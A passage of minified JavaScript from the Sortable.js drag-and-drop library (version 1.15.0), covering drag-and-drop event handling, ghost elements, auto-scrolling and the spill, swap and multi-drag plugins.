r&&r===e||r.join&&-1<r.indexOf(e)}}var e={},n=t.group;n&&"object"==o(n)||(n={name:n}),e.name=n.name,e.checkPull=l(n.pull,!0),e.checkPut=l(n.put),e.revertClone=n.revertClone,t.group=e},kt=function(){!Nt&&Z&&P(Z,"display","none")},Rt=function(){!Nt&&Z&&P(Z,"display","")};xt&&!c&&document.addEventListener("click",function(t){if(wt)return t.preventDefault(),t.stopPropagation&&t.stopPropagation(),t.stopImmediatePropagation&&t.stopImmediatePropagation(),wt=!1},!0);function Xt(t){if(q){t=t.touches?t.touches[0]:t;var e=(i=t.clientX,r=t.clientY,Et.some(function(t){var e=t[j].options.emptyInsertThreshold;if(e&&!Y(t)){var n=k(t),o=i>=n.left-e&&i<=n.right+e,e=r>=n.top-e&&r<=n.bottom+e;return o&&e?a=t:void 0}}),a);if(e){var n,o={};for(n in t)t.hasOwnProperty(n)&&(o[n]=t[n]);o.target=o.rootEl=e,o.preventDefault=void 0,o.stopPropagation=void 0,e[j]._onDragOver(o)}}var i,r,a}function Yt(t){q&&q.parentNode[j]._isOutsideThisEl(t.target)}function Bt(t,e){if(!t||!t.nodeType||1!==t.nodeType)throw"Sortable: `el` must be an HTMLElement, not ".concat({}.toString.call(t));this.el=t,this.options=e=a({},e),t[j]=this;var n,o,i={group:null,sort:!0,disabled:!1,store:null,handle:null,draggable:/^[uo]l$/i.test(t.nodeName)?">li":">*",swapThreshold:1,invertSwap:!1,invertedSwapThreshold:null,removeCloneOnHide:!0,direction:function(){return It(t,this.options)},ghostClass:"sortable-ghost",chosenClass:"sortable-chosen",dragClass:"sortable-drag",ignore:"a, img",filter:null,preventOnFilter:!0,animation:0,easing:null,setData:function(t,e){t.setData("Text",e.textContent)},dropBubble:!1,dragoverBubble:!1,dataIdAttr:"data-id",delay:0,delayOnTouchOnly:!1,touchStartThreshold:(Number.parseInt?Number:window).parseInt(window.devicePixelRatio,10)||1,forceFallback:!1,fallbackClass:"sortable-fallback",fallbackOnBody:!1,fallbackTolerance:0,fallbackOffset:{x:0,y:0},supportPointer:!1!==Bt.supportPointer&&"PointerEvent"in window&&!u,emptyInsertThreshold:5};for(n in K.initializePlugins(this,t,i),i)n in e||(e[n]=i[n]);for(o in Pt(e),this)"_"===o.charAt(0)&&"function"==typeof this[o]&&(this[o]=this[o].bind(this));this.nativeDraggable=!e.forceFallback&&Mt,this.nativeDraggable&&(this.options.touchStartThreshold=1),e.supportPointer?h(t,"pointerdown",this._onTapStart):(h(t,"mousedown",this._onTapStart),h(t,"touchstart",this._onTapStart)),this.nativeDraggable&&(h(t,"dragover",this),h(t,"dragenter",this)),Et.push(this.el),e.store&&e.store.get&&this.sort(e.store.get(this)||[]),a(this,x())}function Ft(t,e,n,o,i,r,a,l){var s,c,u=t[j],d=u.options.onMove;return!window.CustomEvent||y||w?(s=document.createEvent("Event")).initEvent("move",!0,!0):s=new CustomEvent("move",{bubbles:!0,cancelable:!0}),s.to=e,s.from=t,s.dragged=n,s.draggedRect=o,s.related=i||e,s.relatedRect=r||k(e),s.willInsertAfter=l,s.originalEvent=a,t.dispatchEvent(s),c=d?d.call(u,s,a):c}function jt(t){t.draggable=!1}function Ht(){Ct=!1}function Lt(t){return setTimeout(t,0)}function Kt(t){return clearTimeout(t)}Bt.prototype={constructor:Bt,_isOutsideThisEl:function(t){this.el.contains(t)||t===this.el||(gt=null)},_getDirection:function(t,e){return"function"==typeof this.options.direction?this.options.direction.call(this,t,e,q):this.options.direction},_onTapStart:function(e){if(e.cancelable){var n=this,o=this.el,t=this.options,i=t.preventOnFilter,r=e.type,a=e.touches&&e.touches[0]||e.pointerType&&"touch"===e.pointerType&&e,l=(a||e).target,s=e.target.shadowRoot&&(e.path&&e.path[0]||e.composedPath&&e.composedPath()[0])||l,c=t.filter;if(!function(t){Tt.length=0;var e=t.getElementsByTagName("input"),n=e.length;for(;n--;){var o=e[n];o.checked&&Tt.push(o)}}(o),!q&&!(/mousedown|pointerdown/.test(r)&&0!==e.button||t.disabled)&&!s.isContentEditable&&(this.nativeDraggable||!u||!l||"SELECT"!==l.tagName.toUpperCase())&&!((l=N(l,t.draggable,o,!1))&&l.animated||J===l)){if(nt=B(l),it=B(l,t.draggable),"function"==typeof c){if(c.call(this,e,l,this))return U({sortable:n,rootEl:s,name:"filter",targetEl:l,toEl:o,fromEl:o}),z("filter",n,{evt:e}),void(i&&e.cancelable&&e.preventDefault())}else if(c=c&&c.split(",").some(function(t){if(t=N(s,t.trim(),o,!1))return U({sortable:n,rootEl:t,name:"filter",targetEl:l,fromEl:o,toEl:o}),z("filter",n,{evt:e}),!0}))return void(i&&e.cancelable&&e.preventDefault());t.handle&&!N(s,t.handle,o,!1)||this._prepareDragStart(e,a,l)}}},_prepareDragStart:function(t,e,n){var o,i=this,r=i.el,a=i.options,l=r.ownerDocument;n&&!q&&n.parentNode===r&&(o=k(n),$=r,V=(q=n).parentNode,Q=q.nextSibling,J=n,at=a.group,st={target:Bt.dragged=q,clientX:(e||t).clientX,clientY:(e||t).clientY},ht=st.clientX-o.left,ft=st.clientY-o.top,this._lastX=(e||t).clientX,this._lastY=(e||t).clientY,q.style["will-change"]="all",o=function(){z("delayEnded",i,{evt:t}),Bt.eventCanceled?i._onDrop():(i._disableDelayedDragEvents(),!s&&i.nativeDraggable&&(q.draggable=!0),i._triggerDragStart(t,e),U({sortable:i,name:"choose",originalEvent:t}),I(q,a.chosenClass,!0))},a.ignore.split(",").forEach(function(t){b(q,t.trim(),jt)}),h(l,"dragover",Xt),h(l,"mousemove",Xt),h(l,"touchmove",Xt),h(l,"mouseup",i._onDrop),h(l,"touchend",i._onDrop),h(l,"touchcancel",i._onDrop),s&&this.nativeDraggable&&(this.options.touchStartThreshold=4,q.draggable=!0),z("delayStart",this,{evt:t}),!a.delay||a.delayOnTouchOnly&&!e||this.nativeDraggable&&(w||y)?o():Bt.eventCanceled?this._onDrop():(h(l,"mouseup",i._disableDelayedDrag),h(l,"touchend",i._disableDelayedDrag),h(l,"touchcancel",i._disableDelayedDrag),h(l,"mousemove",i._delayedDragTouchMoveHandler),h(l,"touchmove",i._delayedDragTouchMoveHandler),a.supportPointer&&h(l,"pointermove",i._delayedDragTouchMoveHandler),i._dragStartTimer=setTimeout(o,a.delay)))},_delayedDragTouchMoveHandler:function(t){t=t.touches?t.touches[0]:t;Math.max(Math.abs(t.clientX-this._lastX),Math.abs(t.clientY-this._lastY))>=Math.floor(this.options.touchStartThreshold/(this.nativeDraggable&&window.devicePixelRatio||1))&&this._disableDelayedDrag()},_disableDelayedDrag:function(){q&&jt(q),clearTimeout(this._dragStartTimer),this._disableDelayedDragEvents()},_disableDelayedDragEvents:function(){var t=this.el.ownerDocument;f(t,"mouseup",this._disableDelayedDrag),f(t,"touchend",this._disableDelayedDrag),f(t,"touchcancel",this._disableDelayedDrag),f(t,"mousemove",this._delayedDragTouchMoveHandler),f(t,"touchmove",this._delayedDragTouchMoveHandler),f(t,"pointermove",this._delayedDragTouchMoveHandler)},_triggerDragStart:function(t,e){e=e||"touch"==t.pointerType&&t,!this.nativeDraggable||e?this.options.supportPointer?h(document,"pointermove",this._onTouchMove):h(document,e?"touchmove":"mousemove",this._onTouchMove):(h(q,"dragend",this),h($,"dragstart",this._onDragStart));try{document.selection?Lt(function(){document.selection.empty()}):window.getSelection().removeAllRanges()}catch(t){}},_dragStarted:function(t,e){var n;yt=!1,$&&q?(z("dragStarted",this,{evt:e}),this.nativeDraggable&&h(document,"dragover",Yt),n=this.options,t||I(q,n.dragClass,!1),I(q,n.ghostClass,!0),Bt.active=this,t&&this._appendGhost(),U({sortable:this,name:"start",originalEvent:e})):this._nulling()},_emulateDragOver:function(){if(ct){this._lastX=ct.clientX,this._lastY=ct.clientY,kt();for(var t=document.elementFromPoint(ct.clientX,ct.clientY),e=t;t&&t.shadowRoot&&(t=t.shadowRoot.elementFromPoint(ct.clientX,ct.clientY))!==e;)e=t;if(q.parentNode[j]._isOutsideThisEl(t),e)do{if(e[j])if(e[j]._onDragOver({clientX:ct.clientX,clientY:ct.clientY,target:t,rootEl:e})&&!this.options.dragoverBubble)break}while(e=(t=e).parentNode);Rt()}},_onTouchMove:function(t){if(st){var e=this.options,n=e.fallbackTolerance,o=e.fallbackOffset,i=t.touches?t.touches[0]:t,r=Z&&v(Z,!0),a=Z&&r&&r.a,l=Z&&r&&r.d,e=Ot&&bt&&E(bt),a=(i.clientX-st.clientX+o.x)/(a||1)+(e?e[0]-_t[0]:0)/(a||1),l=(i.clientY-st.clientY+o.y)/(l||1)+(e?e[1]-_t[1]:0)/(l||1);if(!Bt.active&&!yt){if(n&&Math.max(Math.abs(i.clientX-this._lastX),Math.abs(i.clientY-this._lastY))<n)return;this._onDragStart(t,!0)}Z&&(r?(r.e+=a-(ut||0),r.f+=l-(dt||0)):r={a:1,b:0,c:0,d:1,e:a,f:l},r="matrix(".concat(r.a,",").concat(r.b,",").concat(r.c,",").concat(r.d,",").concat(r.e,",").concat(r.f,")"),P(Z,"webkitTransform",r),P(Z,"mozTransform",r),P(Z,"msTransform",r),P(Z,"transform",r),ut=a,dt=l,ct=i),t.cancelable&&t.preventDefault()}},_appendGhost:function(){if(!Z){var t=this.options.fallbackOnBody?document.body:$,e=k(q,!0,Ot,!0,t),n=this.options;if(Ot){for(bt=t;"static"===P(bt,"position")&&"none"===P(bt,"transform")&&bt!==document;)bt=bt.parentNode;bt!==document.body&&bt!==document.documentElement?(bt===document&&(bt=O()),e.top+=bt.scrollTop,e.left+=bt.scrollLeft):bt=O(),_t=E(bt)}I(Z=q.cloneNode(!0),n.ghostClass,!1),I(Z,n.fallbackClass,!0),I(Z,n.dragClass,!0),P(Z,"transition",""),P(Z,"transform",""),P(Z,"box-sizing","border-box"),P(Z,"margin",0),P(Z,"top",e.top),P(Z,"left",e.left),P(Z,"width",e.width),P(Z,"height",e.height),P(Z,"opacity","0.8"),P(Z,"position",Ot?"absolute":"fixed"),P(Z,"zIndex","100000"),P(Z,"pointerEvents","none"),Bt.ghost=Z,t.appendChild(Z),P(Z,"transform-origin",ht/parseInt(Z.style.width)*100+"% "+ft/parseInt(Z.style.height)*100+"%")}},_onDragStart:function(t,e){var n=this,o=t.dataTransfer,i=n.options;z("dragStart",this,{evt:t}),Bt.eventCanceled?this._onDrop():(z("setupClone",this),Bt.eventCanceled||((tt=_(q)).removeAttribute("id"),tt.draggable=!1,tt.style["will-change"]="",this._hideClone(),I(tt,this.options.chosenClass,!1),Bt.clone=tt),n.cloneId=Lt(function(){z("clone",n),Bt.eventCanceled||(n.options.removeCloneOnHide||$.insertBefore(tt,q),n._hideClone(),U({sortable:n,name:"clone"}))}),e||I(q,i.dragClass,!0),e?(wt=!0,n._loopId=setInterval(n._emulateDragOver,50)):(f(document,"mouseup",n._onDrop),f(document,"touchend",n._onDrop),f(document,"touchcancel",n._onDrop),o&&(o.effectAllowed="move",i.setData&&i.setData.call(n,o,q)),h(document,"drop",n),P(q,"transform","translateZ(0)")),yt=!0,n._dragStartId=Lt(n._dragStarted.bind(n,e,t)),h(document,"selectstart",n),pt=!0,u&&P(document.body,"user-select","none"))},_onDragOver:function(n){var o,i,r,t,a=this.el,l=n.target,e=this.options,s=e.group,c=Bt.active,u=at===s,d=e.sort,h=lt||c,f=this,p=!1;if(!Ct){if(void 0!==n.preventDefault&&n.cancelable&&n.preventDefault(),l=N(l,e.draggable,a,!0),T("dragOver"),Bt.eventCanceled)return p;if(q.contains(n.target)||l.animated&&l.animatingX&&l.animatingY||f._ignoreWhileAnimating===l)return O(!1);if(wt=!1,c&&!e.disabled&&(u?d||(i=V!==$):lt===this||(this.lastPutMode=at.checkPull(this,c,q,n))&&s.checkPut(this,c,q,n))){if(r="vertical"===this._getDirection(n,l),o=k(q),T("dragOverValid"),Bt.eventCanceled)return p;if(i)return V=$,x(),this._hideClone(),T("revert"),Bt.eventCanceled||(Q?$.insertBefore(q,Q):$.appendChild(q)),O(!0);var g=Y(a,e.draggable);if(!g||function(t,e,n){n=k(Y(n.el,n.options.draggable));return e?t.clientX>n.right+10||t.clientX<=n.right&&t.clientY>n.bottom&&t.clientX>=n.left:t.clientX>n.right&&t.clientY>n.top||t.clientX<=n.right&&t.clientY>n.bottom+10}(n,r,this)&&!g.animated){if(g===q)return O(!1);if((l=g&&a===n.target?g:l)&&(w=k(l)),!1!==Ft($,a,q,o,l,w,n,!!l))return x(),g&&g.nextSibling?a.insertBefore(q,g.nextSibling):a.appendChild(q),V=a,A(),O(!0)}else if(g&&function(t,e,n){n=k(X(n.el,0,n.options,!0));return e?t.clientX<n.left-10||t.clientY<n.top&&t.clientX<n.right:t.clientY<n.top-10||t.clientY<n.bottom&&t.clientX<n.left}(n,r,this)){var m=X(a,0,e,!0);if(m===q)return O(!1);if(w=k(l=m),!1!==Ft($,a,q,o,l,w,n,!1))return x(),a.insertBefore(q,m),V=a,A(),O(!0)}else if(l.parentNode===a){var v,b,y,w=k(l),E=q.parentNode!==a,D=(D=q.animated&&q.toRect||o,C=l.animated&&l.toRect||w,S=(t=r)?D.left:D.top,s=t?D.right:D.bottom,g=t?D.width:D.height,m=t?C.left:C.top,D=t?C.right:C.bottom,C=t?C.width:C.height,!(S===m||s===D||S+g/2===m+C/2)),S=r?"top":"left",g=R(l,"top","top")||R(q,"top","top"),m=g?g.scrollTop:void 0;if(gt!==l&&(b=w[S],Dt=!1,St=!D&&e.invertSwap||E),0!==(v=function(t,e,n,o,i,r,a,l){var s=o?t.clientY:t.clientX,c=o?n.height:n.width,t=o?n.top:n.left,o=o?n.bottom:n.right,n=!1;if(!a)if(l&&vt<c*i){if(Dt=!Dt&&(1===mt?t+c*r/2<s:s<o-c*r/2)?!0:Dt)n=!0;else if(1===mt?s<t+vt:o-vt<s)return-mt}else if(t+c*(1-i)/2<s&&s<o-c*(1-i)/2)return function(t){return B(q)<B(t)?1:-1}(e);if((n=n||a)&&(s<t+c*r/2||o-c*r/2<s))return t+c/2<s?1:-1;return 0}(n,l,w,r,D?1:e.swapThreshold,null==e.invertedSwapThreshold?e.swapThreshold:e.invertedSwapThreshold,St,gt===l)))for(var _=B(q);(y=V.children[_-=v])&&("none"===P(y,"display")||y===Z););if(0===v||y===l)return O(!1);mt=v;var C=(gt=l).nextElementSibling,E=!1,D=Ft($,a,q,o,l,w,n,E=1===v);if(!1!==D)return 1!==D&&-1!==D||(E=1===D),Ct=!0,setTimeout(Ht,30),x(),E&&!C?a.appendChild(q):l.parentNode.insertBefore(q,E?C:l),g&&F(g,0,m-g.scrollTop),V=q.parentNode,void 0===b||St||(vt=Math.abs(b-k(l)[S])),A(),O(!0)}if(a.contains(q))return O(!1)}return!1}function T(t,e){z(t,f,M({evt:n,isOwner:u,axis:r?"vertical":"horizontal",revert:i,dragRect:o,targetRect:w,canSort:d,fromSortable:h,target:l,completed:O,onMove:function(t,e){return Ft($,a,q,o,t,k(t),n,e)},changed:A},e))}function x(){T("dragOverAnimationCapture"),f.captureAnimationState(),f!==h&&h.captureAnimationState()}function O(t){return T("dragOverCompleted",{insertion:t}),t&&(u?c._hideClone():c._showClone(f),f!==h&&(I(q,(lt||c).options.ghostClass,!1),I(q,e.ghostClass,!0)),lt!==f&&f!==Bt.active?lt=f:f===Bt.active&&lt&&(lt=null),h===f&&(f._ignoreWhileAnimating=l),f.animateAll(function(){T("dragOverAnimationComplete"),f._ignoreWhileAnimating=null}),f!==h&&(h.animateAll(),h._ignoreWhileAnimating=null)),(l===q&&!q.animated||l===a&&!l.animated)&&(gt=null),e.dragoverBubble||n.rootEl||l===document||(q.parentNode[j]._isOutsideThisEl(n.target),t||Xt(n)),!e.dragoverBubble&&n.stopPropagation&&n.stopPropagation(),p=!0}function A(){ot=B(q),rt=B(q,e.draggable),U({sortable:f,name:"change",toEl:a,newIndex:ot,newDraggableIndex:rt,originalEvent:n})}},_ignoreWhileAnimating:null,_offMoveEvents:function(){f(document,"mousemove",this._onTouchMove),f(document,"touchmove",this._onTouchMove),f(document,"pointermove",this._onTouchMove),f(document,"dragover",Xt),f(document,"mousemove",Xt),f(document,"touchmove",Xt)},_offUpEvents:function(){var t=this.el.ownerDocument;f(t,"mouseup",this._onDrop),f(t,"touchend",this._onDrop),f(t,"pointerup",this._onDrop),f(t,"touchcancel",this._onDrop),f(document,"selectstart",this)},_onDrop:function(t){var e=this.el,n=this.options;ot=B(q),rt=B(q,n.draggable),z("drop",this,{evt:t}),V=q&&q.parentNode,ot=B(q),rt=B(q,n.draggable),Bt.eventCanceled||(Dt=St=yt=!1,clearInterval(this._loopId),clearTimeout(this._dragStartTimer),Kt(this.cloneId),Kt(this._dragStartId),this.nativeDraggable&&(f(document,"drop",this),f(e,"dragstart",this._onDragStart)),this._offMoveEvents(),this._offUpEvents(),u&&P(document.body,"user-select",""),P(q,"transform",""),t&&(pt&&(t.cancelable&&t.preventDefault(),n.dropBubble||t.stopPropagation()),Z&&Z.parentNode&&Z.parentNode.removeChild(Z),($===V||lt&&"clone"!==lt.lastPutMode)&&tt&&tt.parentNode&&tt.parentNode.removeChild(tt),q&&(this.nativeDraggable&&f(q,"dragend",this),jt(q),q.style["will-change"]="",pt&&!yt&&I(q,(lt||this).options.ghostClass,!1),I(q,this.options.chosenClass,!1),U({sortable:this,name:"unchoose",toEl:V,newIndex:null,newDraggableIndex:null,originalEvent:t}),$!==V?(0<=ot&&(U({rootEl:V,name:"add",toEl:V,fromEl:$,originalEvent:t}),U({sortable:this,name:"remove",toEl:V,originalEvent:t}),U({rootEl:V,name:"sort",toEl:V,fromEl:$,originalEvent:t}),U({sortable:this,name:"sort",toEl:V,originalEvent:t})),lt&&lt.save()):ot!==nt&&0<=ot&&(U({sortable:this,name:"update",toEl:V,originalEvent:t}),U({sortable:this,name:"sort",toEl:V,originalEvent:t})),Bt.active&&(null!=ot&&-1!==ot||(ot=nt,rt=it),U({sortable:this,name:"end",toEl:V,originalEvent:t}),this.save())))),this._nulling()},_nulling:function(){z("nulling",this),$=q=V=Z=Q=tt=J=et=st=ct=pt=ot=rt=nt=it=gt=mt=lt=at=Bt.dragged=Bt.ghost=Bt.clone=Bt.active=null,Tt.forEach(function(t){t.checked=!0}),Tt.length=ut=dt=0},handleEvent:function(t){switch(t.type){case"drop":case"dragend":this._onDrop(t);break;case"dragenter":case"dragover":q&&(this._onDragOver(t),function(t){t.dataTransfer&&(t.dataTransfer.dropEffect="move");t.cancelable&&t.preventDefault()}(t));break;case"selectstart":t.preventDefault()}},toArray:function(){for(var t,e=[],n=this.el.children,o=0,i=n.length,r=this.options;o<i;o++)N(t=n[o],r.draggable,this.el,!1)&&e.push(t.getAttribute(r.dataIdAttr)||function(t){var e=t.tagName+t.className+t.src+t.href+t.textContent,n=e.length,o=0;for(;n--;)o+=e.charCodeAt(n);return o.toString(36)}(t));return e},sort:function(t,e){var n={},o=this.el;this.toArray().forEach(function(t,e){e=o.children[e];N(e,this.options.draggable,o,!1)&&(n[t]=e)},this),e&&this.captureAnimationState(),t.forEach(function(t){n[t]&&(o.removeChild(n[t]),o.appendChild(n[t]))}),e&&this.animateAll()},save:function(){var t=this.options.store;t&&t.set&&t.set(this)},closest:function(t,e){return N(t,e||this.options.draggable,this.el,!1)},option:function(t,e){var n=this.options;if(void 0===e)return n[t];var o=K.modifyOption(this,t,e);n[t]=void 0!==o?o:e,"group"===t&&Pt(n)},destroy:function(){z("destroy",this);var t=this.el;t[j]=null,f(t,"mousedown",this._onTapStart),f(t,"touchstart",this._onTapStart),f(t,"pointerdown",this._onTapStart),this.nativeDraggable&&(f(t,"dragover",this),f(t,"dragenter",this)),Array.prototype.forEach.call(t.querySelectorAll("[draggable]"),function(t){t.removeAttribute("draggable")}),this._onDrop(),this._disableDelayedDragEvents(),Et.splice(Et.indexOf(this.el),1),this.el=t=null},_hideClone:function(){et||(z("hideClone",this),Bt.eventCanceled||(P(tt,"display","none"),this.options.removeCloneOnHide&&tt.parentNode&&tt.parentNode.removeChild(tt),et=!0))},_showClone:function(t){"clone"===t.lastPutMode?et&&(z("showClone",this),Bt.eventCanceled||(q.parentNode!=$||this.options.group.revertClone?Q?$.insertBefore(tt,Q):$.appendChild(tt):$.insertBefore(tt,q),this.options.group.revertClone&&this.animate(q,tt),P(tt,"display",""),et=!1)):this._hideClone()}},xt&&h(document,"touchmove",function(t){(Bt.active||yt)&&t.cancelable&&t.preventDefault()}),Bt.utils={on:h,off:f,css:P,find:b,is:function(t,e){return!!N(t,e,t,!1)},extend:function(t,e){if(t&&e)for(var n in e)e.hasOwnProperty(n)&&(t[n]=e[n]);return t},throttle:S,closest:N,toggleClass:I,clone:_,index:B,nextTick:Lt,cancelNextTick:Kt,detectDirection:It,getChild:X},Bt.get=function(t){return t[j]},Bt.mount=function(){for(var t=arguments.length,e=new Array(t),n=0;n<t;n++)e[n]=arguments[n];(e=e[0].constructor===Array?e[0]:e).forEach(function(t){if(!t.prototype||!t.prototype.constructor)throw"Sortable: Mounted plugin must be a constructor function, not ".concat({}.toString.call(t));t.utils&&(Bt.utils=M(M({},Bt.utils),t.utils)),K.mount(t)})},Bt.create=function(t,e){return new Bt(t,e)};var Wt,zt,Gt,Ut,qt,Vt,Zt=[],$t=!(Bt.version="1.15.0");function Qt(){Zt.forEach(function(t){clearInterval(t.pid)}),Zt=[]}function Jt(){clearInterval(Vt)}var te,ee=S(function(n,t,e,o){if(t.scroll){var i,r=(n.touches?n.touches[0]:n).clientX,a=(n.touches?n.touches[0]:n).clientY,l=t.scrollSensitivity,s=t.scrollSpeed,c=O(),u=!1;zt!==e&&(zt=e,Qt(),Wt=t.scroll,i=t.scrollFn,!0===Wt&&(Wt=A(e,!0)));var d=0,h=Wt;do{var f=h,p=k(f),g=p.top,m=p.bottom,v=p.left,b=p.right,y=p.width,w=p.height,E=void 0,D=void 0,S=f.scrollWidth,_=f.scrollHeight,C=P(f),T=f.scrollLeft,p=f.scrollTop,D=f===c?(E=y<S&&("auto"===C.overflowX||"scroll"===C.overflowX||"visible"===C.overflowX),w<_&&("auto"===C.overflowY||"scroll"===C.overflowY||"visible"===C.overflowY)):(E=y<S&&("auto"===C.overflowX||"scroll"===C.overflowX),w<_&&("auto"===C.overflowY||"scroll"===C.overflowY)),T=E&&(Math.abs(b-r)<=l&&T+y<S)-(Math.abs(v-r)<=l&&!!T),p=D&&(Math.abs(m-a)<=l&&p+w<_)-(Math.abs(g-a)<=l&&!!p);if(!Zt[d])for(var x=0;x<=d;x++)Zt[x]||(Zt[x]={});Zt[d].vx==T&&Zt[d].vy==p&&Zt[d].el===f||(Zt[d].el=f,Zt[d].vx=T,Zt[d].vy=p,clearInterval(Zt[d].pid),0==T&&0==p||(u=!0,Zt[d].pid=setInterval(function(){o&&0===this.layer&&Bt.active._onTouchMove(qt);var t=Zt[this.layer].vy?Zt[this.layer].vy*s:0,e=Zt[this.layer].vx?Zt[this.layer].vx*s:0;"function"==typeof i&&"continue"!==i.call(Bt.dragged.parentNode[j],e,t,n,qt,Zt[this.layer].el)||F(Zt[this.layer].el,e,t)}.bind({layer:d}),24))),d++}while(t.bubbleScroll&&h!==c&&(h=A(h,!1)));$t=u}},30),c=function(t){var e=t.originalEvent,n=t.putSortable,o=t.dragEl,i=t.activeSortable,r=t.dispatchSortableEvent,a=t.hideGhostForTarget,t=t.unhideGhostForTarget;e&&(i=n||i,a(),e=e.changedTouches&&e.changedTouches.length?e.changedTouches[0]:e,e=document.elementFromPoint(e.clientX,e.clientY),t(),i&&!i.el.contains(e)&&(r("spill"),this.onSpill({dragEl:o,putSortable:n})))};function ne(){}function oe(){}ne.prototype={startIndex:null,dragStart:function(t){t=t.oldDraggableIndex;this.startIndex=t},onSpill:function(t){var e=t.dragEl,n=t.putSortable;this.sortable.captureAnimationState(),n&&n.captureAnimationState();t=X(this.sortable.el,this.startIndex,this.options);t?this.sortable.el.insertBefore(e,t):this.sortable.el.appendChild(e),this.sortable.animateAll(),n&&n.animateAll()},drop:c},a(ne,{pluginName:"revertOnSpill"}),oe.prototype={onSpill:function(t){var e=t.dragEl,t=t.putSortable||this.sortable;t.captureAnimationState(),e.parentNode&&e.parentNode.removeChild(e),t.animateAll()},drop:c},a(oe,{pluginName:"removeOnSpill"});var ie,re,ae,le,se,ce=[],ue=[],de=!1,he=!1,fe=!1;function pe(n,o){ue.forEach(function(t,e){e=o.children[t.sortableIndex+(n?Number(e):0)];e?o.insertBefore(t,e):o.appendChild(t)})}function ge(){ce.forEach(function(t){t!==ae&&t.parentNode&&t.parentNode.removeChild(t)})}return Bt.mount(new function(){function t(){for(var t in this.defaults={scroll:!0,forceAutoScrollFallback:!1,scrollSensitivity:30,scrollSpeed:10,bubbleScroll:!0},this)"_"===t.charAt(0)&&"function"==typeof this[t]&&(this[t]=this[t].bind(this))}return t.prototype={dragStarted:function(t){t=t.originalEvent;this.sortable.nativeDraggable?h(document,"dragover",this._handleAutoScroll):this.options.supportPointer?h(document,"pointermove",this._handleFallbackAutoScroll):t.touches?h(document,"touchmove",this._handleFallbackAutoScroll):h(document,"mousemove",this._handleFallbackAutoScroll)},dragOverCompleted:function(t){t=t.originalEvent;this.options.dragOverBubble||t.rootEl||this._handleAutoScroll(t)},drop:function(){this.sortable.nativeDraggable?f(document,"dragover",this._handleAutoScroll):(f(document,"pointermove",this._handleFallbackAutoScroll),f(document,"touchmove",this._handleFallbackAutoScroll),f(document,"mousemove",this._handleFallbackAutoScroll)),Jt(),Qt(),clearTimeout(g),g=void 0},nulling:function(){qt=zt=Wt=$t=Vt=Gt=Ut=null,Zt.length=0},_handleFallbackAutoScroll:function(t){this._handleAutoScroll(t,!0)},_handleAutoScroll:function(e,n){var o,i=this,r=(e.touches?e.touches[0]:e).clientX,a=(e.touches?e.touches[0]:e).clientY,t=document.elementFromPoint(r,a);qt=e,n||this.options.forceAutoScrollFallback||w||y||u?(ee(e,this.options,t,n),o=A(t,!0),!$t||Vt&&r===Gt&&a===Ut||(Vt&&Jt(),Vt=setInterval(function(){var t=A(document.elementFromPoint(r,a),!0);t!==o&&(o=t,Qt()),ee(e,i.options,t,n)},10),Gt=r,Ut=a)):this.options.bubbleScroll&&A(t,!0)!==O()?ee(e,this.options,A(t,!1),!1):Qt()}},a(t,{pluginName:"scroll",initializeByDefault:!0})}),Bt.mount(oe,ne),Bt.mount(new function(){function t(){this.defaults={swapClass:"sortable-swap-highlight"}}return t.prototype={dragStart:function(t){t=t.dragEl;te=t},dragOverValid:function(t){var e=t.completed,n=t.target,o=t.onMove,i=t.activeSortable,r=t.changed,a=t.cancel;i.options.swap&&(t=this.sortable.el,i=this.options,n&&n!==t&&(t=te,te=!1!==o(n)?(I(n,i.swapClass,!0),n):null,t&&t!==te&&I(t,i.swapClass,!1)),r(),e(!0),a())},drop:function(t){var e,n,o=t.activeSortable,i=t.putSortable,r=t.dragEl,a=i||this.sortable,l=this.options;te&&I(te,l.swapClass,!1),te&&(l.swap||i&&i.options.swap)&&r!==te&&(a.captureAnimationState(),a!==o&&o.captureAnimationState(),n=te,t=(e=r).parentNode,l=n.parentNode,t&&l&&!t.isEqualNode(n)&&!l.isEqualNode(e)&&(i=B(e),r=B(n),t.isEqualNode(l)&&i<r&&r++,t.insertBefore(n,t.children[i]),l.insertBefore(e,l.children[r])),a.animateAll(),a!==o&&o.animateAll())},nulling:function(){te=null}},a(t,{pluginName:"swap",eventProperties:function(){return{swapItem:te}}})}),Bt.mount(new function(){function t(o){for(var t in this)"_"===t.charAt(0)&&"function"==typeof this[t]&&(this[t]=this[t].bind(this));o.options.avoidImplicitDeselect||(o.options.supportPointer?h(document,"pointerup",this._deselectMultiDrag):(h(document,"mouseup",this._deselectMultiDrag),h(document,"touchend",this._deselectMultiDrag))),h(document,"keydown",this._checkKeyDown),h(document,"keyup",this._checkKeyUp),this.defaults={selectedClass:"sortable-selected",multiDragKey:null,avoidImplicitDeselect:!1,setData:function(t,e){var n="";ce.length&&re===o?ce.forEach(function(t,e){n+=(e?", ":"")+t.textContent}):n=e.textContent,t.setData("Text",n)}}}return t.prototype={multiDragKeyDown:!1,isMultiDrag:!1,delayStartGlobal:function(t){t=t.dragEl;ae=t},delayEnded:function(){this.isMultiDrag=~ce.indexOf(ae)},setupClone:function(t){var e=t.sortable,t=t.cancel;if(this.isMultiDrag){for(var n=0;n<ce.length;n++)ue.push(_(ce[n])),ue[n].sortableIndex=ce[n].sortableIndex,ue[n].draggable=!1,ue[n].style["will-change"]="",I(ue[n],this.options.selectedClass,!1),ce[n]===ae&&I(ue[n],this.options.chosenClass,!1);e._hideClone(),t()}},clone:function(t){var e=t.sortable,n=t.rootEl,o=t.dispatchSortableEvent,t=t.cancel;this.isMultiDrag&&(this.options.removeCloneOnHide||ce.length&&re===e&&(pe(!0,n),o("clone"),t()))},showClone:function(t){var e=t.cloneNowShown,n=t.rootEl,t=t.cancel;this.isMultiDrag&&(pe(!1,n),ue.forEach(function(t){P(t,"display","")}),e(),se=!1,t())},hideClone:function(t){var e=this,n=(t.sortable,t.cloneNowHidden),t=t.cancel;this.isMultiDrag&&(ue.forEach(function(t){P(t,"display","none"),e.options.removeCloneOnHide&&t.parentNode&&t.parentNode.removeChild(t)}),n(),se=!0,t())},dragStartGlobal:function(t){t.sortable;!this.isMultiDrag&&re&&re.multiDrag._deselectMultiDrag(),ce.forEach(function(t){t.sortableIndex=B(t)}),ce=ce.sort(function(t,e){return t.sortableIndex-e.sortableIndex}),fe=!0},dragStarted:function(t){var 